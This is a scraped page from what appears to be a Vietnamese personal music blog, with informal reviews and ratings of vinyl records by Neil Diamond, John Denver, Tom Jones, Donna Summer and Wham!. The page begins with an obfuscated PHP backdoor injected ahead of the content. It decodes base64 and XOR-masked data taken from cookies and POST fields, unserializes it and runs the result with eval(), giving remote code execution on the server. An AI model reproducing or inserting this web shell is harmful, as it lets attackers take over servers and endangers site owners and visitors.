$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> Vinyl – Page 3 – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Category: Vinyl (page 3 of 7)

Neil Diamond – Beautiful Noise

Trong một cuộc phỏng vấn với tạp chí Q gần đây, Neil Diamond tiết lộ rằng ông viết ca khúc Beautiful Noise chỉ để thuyết phục tay guitar chính kiêm nhạc sĩ sáng tác của The Band là Robbie Robertson vào vị trí nhà sản xuất cho album này. Trên bìa album có ghi dòng chữ Produced by Robbie Robertson. Rất ít album để tên nhà sản xuất ở một vị trí bắt mắt và sang trọng thế, điều này ắt cho thấy phần nào kì vọng của Neil vào Robbie Robertson.

Neil muốn cộng tác với Robbie là có lí do. Những năm sau này trong sự nghiệp, Neil có xu hướng đi nghiêng về rock nhiều hơn là thể loại Adult Contemporary mà ông theo đuổi bấy lâu, và trong thời điểm này, Robbie là tên tuổi thích hợp nhất. Tuy nhiên, Beautiful Noise không hoàn toàn nặng về rock, vẫn có nhiều bài đúng thương-hiệu Neil Diamond – các bản ballad pop nhẹ, thánh ca du dương hay jazz/R&B dễ nghe dễ cảm.

Nhìn chung, so với các album ở thời đỉnh cao của Neil Diamond, mình không thấy album này đặc biệt, vì vậy xin mạn phép đánh giá 3/5.

Neil Diamond ‎– Jonathan Livingston Seagull (Original Motion Picture Soundtrack)

Holy Moly record hay ngoài sức tưởng tượng của mình. Vấn đề với một thằng không mê phim ảnh như mình là bỏ qua cơ hội để nghe nhiều soundtrack tuyệt vời, vì thường nếu không xem phim, ít khi nào mê được soundtrack. Đại loại khi nghe một bài nhạc, liên tưởng nó tới cảnh trong phim thì sẽ cảm được nhiều thứ hơn. Jonathan Livingston Seagull, may thay, là ngoại lệ.

Mình nghĩ đây là một trong những record ổn nhất của Neil Diamond. Từ hình bìa cover, một người đàn ông ngồi cô độc dưới bóng hoàng hôn, xa xa là mặt trời đỏ thẫm đang từ từ lặn phía chân trời, ở góc là cánh hải âu bay đơn độc. Chỉ hình bìa thôi đã đủ cảm thấy một nỗi buồn man mác.

Trong album này, Neil hoá thân vào nhân vật. Bỏ chút thời gian đọc qua vài câu giới thiệu đầu mỗi ca khúc là có thể mường tượng được câu chuyện. Điểm đặc biệt trong album này là mọi thứ không chỉ xoay quanh Neil. Nghĩa là Neil chỉ đóng một phần trong vai trò người kể chuyện, phần còn lại là âm nhạc. Phải thật sự cảm ơn nhà chỉ đạo âm nhạc Tom Catalano và người sắp xếp, điều khiển dàn hoà tấu và dàn đàn dây Lee Holdridge, họ tạo nên một câu chuyện âm nhạc tuyệt vời, bằng từng nốt nhạc, từng giai điệu, khi thì đứng riêng lẻ tựa như một bản nhạc piano cổ điển của Bach hay Beethoven, khi thì hoà vào và góp phần nâng đỡ giọng hát mượt mà như muốn tan chảy mọi thứ của Neil.

Lần nữa, một record tuyệt vời, mình nghĩ 5/5.

John Denver – Back Home Again

Đây là album duy nhất của John Denver mà mình thích cho tới giờ. Khi ra Back Home Again, John Denver đang ở đỉnh cao của danh tiếng và đạt được độ chín muồi về tài năng. Khá nhiều ca khúc trong album này trở thành hit đặc sắc trong sự nghiệp của ông. Đây có lẽ cũng xứng được liệt vào một trong những album folk/pop tiêu biểu và đáng nghe nhất trong thập niên 70.

Back Home Again rất ‘sáng’, sáng theo ý nghĩa tươi tắn và yêu đời. Ở album này, John chơi một thứ nhạc rộn ràng với tempo khá nhanh, lời lẽ phóng khoáng, tự nhiên và đôi chỗ giọng điệu nghịch ngợm, hài hước.

Ca khúc chủ đề của album Back Home Again như một bản country được cất lên từ miệng gã cao bồi trên đường quê vắng, Grandma’s Feather Bed là câu chuyện hài được kể từ miệng các cô cậu bé, Thank God I’m a Country Boy đầy vui vẻ. Đặc biệt nhất chắc là Annie’s Song – bài hát viết tặng vợ của ông, viết theo kiểu cười tươi nhưng không thiếu phần lãng mạn.

Điểm đặc biệt của album ngoài lời còn là dàn nhạc phía sau. Rất nhiều ca khúc, John Denver đánh guitar 6 dây, được hỗ trợ bởi vô số nhạc cụ khác nhau: từ đàn banjo, mandolin, bộ gõ, cho tới kèn clarinet… Điều này khiến album tránh đi vào tình trạng nhàm chán dễ thấy ở các album thể loại folk/ pop này.

Có những ca khúc trong album này mình thích và muốn nghe đi nghe lại nhiều lần. Cá nhân mình đánh giá record này 5/5.

Neil Diamond – Serenade

Trước khi nói về Neil Diamond, hãy nói về dòng nhạc mà ông chơi – Adult Contemporary Music (tạm dịch: dòng nhạc phổ thông đương đại) trước. AC bắt đầu từ những năm 60, 70 và trở nên phổ biến cho tới đương đại. Các bài hát trong dòng nhạc này giai điệu rất nhẹ nhàng và đẹp, thỉnh thoảng có pha vào chút ngẫu hứng của jazz, blue nhưng không nhiều. Âm hưởng pop, folk và soul vẫn là chủ đạo. Thường khi đi tới mấy tiệm bán đĩa, hay có hẳn một khu dán nhãn Easy Listening là cũng để chỉ thể loại này.

Neil Diamond là một trong những nghệ sĩ lớn nhất trong dòng Adult Contemporary. Nếu xét về doanh thu bán đã và độ nổi tiếng, có lẽ ông chỉ xếp sau Elton John and và Barbra Streisand.

Serenade này là record đầu tiên của Neil Diamond mà mình có. Toàn bộ ca khúc trong album đều được chính Neil viết lời. Ngoài ra, ông còn có dàn nhạc riêng để chơi và phối theo ý ông chọn. Nghe có thể cảm nhận được Neil đặt rất nhiều tâm huyết vào album này. Ca khúc hay nhất trong album theo mình là Longfellow Serenade, các ca khúc còn lại không phải bài nào cũng được như thế, nhưng nghe tròn trịa. Cái thể loại mà Neil hát, ‘tròn trịa’ là một tính từ nguy hiểm – nó có nghĩa là hoàn toàn đủ tiêu chuẩn, nhưng không có gì thật nổi bật, vì vậy, nó dễ chìm vào lãng quên. Sự dễ nghe và ngọt ngào trong các ca khúc của Neil tạo thành một album có chất lượng, nhưng không phải hay tuyệt.

 

 

Tom Jones – Help Yourself

Lại một album nữa của Sir Jones mà mình có. Nhìn chung album này chất lượng tuyệt, xứng là một trong những album hay nhất trong sự nghiệp của Tom Jones. Cho tới giờ, đây có lẽ là record mà mình nghe lâu và nhiều nhất mới viết được gì đó. Đơn giản vì thường trong một album, các ca sĩ có một hay vài hit nổi bật, các bài còn lại tầm tầm. Help Yourself của Tom Jones là ngoại lệ. Xuyên suốt album, hầu như không tìm thấy ca khúc nào mà Sir Jones trình bày không đạt. Mọi ca khúc đều hoàn hảo, từ giọng ca đầy nội lực nhưng cũng lả lướt của Jones, cho tới hoà âm phối khí, cách mọi thứ quyện vào nhau tạo thành một không khí âm nhạc tuyệt vời.

Từ bản mở đầu cũng là ca khúc chính của album: Help Yourself theo thể điệu salsa, nghe đã chỉ muốn đứng dậy và nhún nhảy theo nhạc, cho tới I Can’t Break The News To Myself, If You Go Away buồn bã tuyệt vọng, So Afraid u ám cho tới If I Promise đầy hứa-hẹn, mọi thứ đều rất chuẩn mực.

Mình đánh giá album này 5/5. Một Tom Jones tuyệt vời.

Donna Summer – Donna Summer

Album cùng tên này cũng là album duy nhất mà mình có của nữ hoàng nhạc disco Donna Summer. Mình không hẳn là fan của thế loại disco, nhưng cũng muốn tìm tòi nghe thử xem thế nào nên mới lấy đĩa này về. Thật ra, ban đầu định lấy Bad Girl vốn nổi tiếng hơn ở tiệm, nhưng đĩa đó trầy nhiều quá nên thôi vậy.

Đúng ra thì album này không tệ. Ngược lại, nó khác với các album trước đó của Summer. Sau khi đầu quân cho hãng record mới là Geffen, Summer được kì vọng tiếp tục có những album bán chạy như tôm tươi trước đây, nhưng kết quả không được mong muốn. Vì lẽ đó, ông chủ của Geffen mới mời đến nhà sản xuất Quincy Jones – vốn khi đó đang lên rất nhanh sau nhiều album thực hiện cho Michael Jackson.

Tuy Donna Summer (album) không đạt được doanh thu như kì vọng, nó cũng đã cho thấy một Summer khá mới lạ. Trong album này, ngoài chủ đạo disco, vẫn có thể thấy những ngã rẽ nhỏ sang các dòng khác, đó có thể là chút soul hay mang chất thánh ca trong ca khúc (If It) Hurts Just A Little; hay rock trong ca khúc Protection (vốn ban đầu dự định sẽ hợp tác cùng Bruce Springsteen); album còn có ca khúc jazz nổi tiếng của Billy Strayhorn: Lush Life.

Album được thu âm chỉ trong 6 tháng kể từ session đầu tiên. Donna Summer sau này khi trả lời phỏng vấn có nói đây là một trong những album khó nhất mà cô từng thu. Phần vì nó thêm vài thể loại khác, phần vì nhà sản xuất mới Quincy Jones rất khắt khe. Khó mà nói album này có thể liệt vào top những album trong sự nghiệp của Summer, nhưng nó cũng không đến nỗi bết bát quá. Mình không thích disco lắm, nên nếu cho điểm, mình chỉ cho 3.5/5 điểm, vì nó không hay đủ để cuốn hút kẻ ngoại đạo như mình.

Wham! – Make It Big

Nói thế nào về Wham! nhỉ? Mình biết một nửa của Wham! (và có lẽ đa phần mọi người cũng thế) – George Michael, hơn là nửa còn lại Andrew Ridgely. Có lẽ đây cũng là vấn đề thường thấy ở các cặp song ca: thường sẽ có một ai đó nổi bật hơn cả về tài năng cũng như giọng hát. Make It Big tuy là album chung của duo này, nhưng dấu ấn của George Michael hoàn toàn sâu đậm hơn.

Có điểm khá vui là Wham! có thể được liệt vào blue-eyed soul – vốn là cách phân biệt rất ngớ ngẩn mà giới phê bình âm nhạc nặn ra, để chỉ những tay da trắng tóc vàng mắt xanh hát thứ nhạc soul vốn gắn liền với những người da màu. Cậu chàng George là một tay điển hình như vậy. George ngọt ngào gì đâu, điều này có thể nghe ra từ giọng hát cậu ta. Dù Wham! có phần giống với hình mẫu boyband đương đại mà mới chỉ thịnh hành tầm hơn chục năm sau đó, tài năng của George lại ở một đẳng cấp khác hẳn. George có thể vừa thị trường hút lòng fan nữ, vừa trầm lắng rất rung động nghệ thuật.

Make It Big ngắn hơn hẳn so với các album thông thường, cả record dài dưới 40 phút, với 8 bài hát, 4 bài mỗi mặt. Mình nghĩ độ dài vậy là hợp lí. Nó có những bài vừa đủ yếu tố thị trường pop-disco để bán album, vừa ngắn để người ta không có ấn tượng rằng đây chỉ là một trong những album pop thông thường. Make It Big đúng như cái tên, thành công vang dội ở hầu như tất cả các bảng xếp hạng khắp mọi quốc gia. Đặc biệt một trong những bài hát mình đánh giá hay nhất trong lịch sử nhạc pop: Careless Whisper, đã đưa tên tuổi George Michael lên một tầm cao mới – như một tay nhạc sĩ viết nhạc lẫn trình bày thượng thặng.

Make It Big là một record nghe vừa đủ nửa tiếng đầu, và thăng hoa tột đỉnh ở tầm sáu phút cuối. Ắt thế là đủ.

So I’m never gonna dance again
The way I danced with you

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.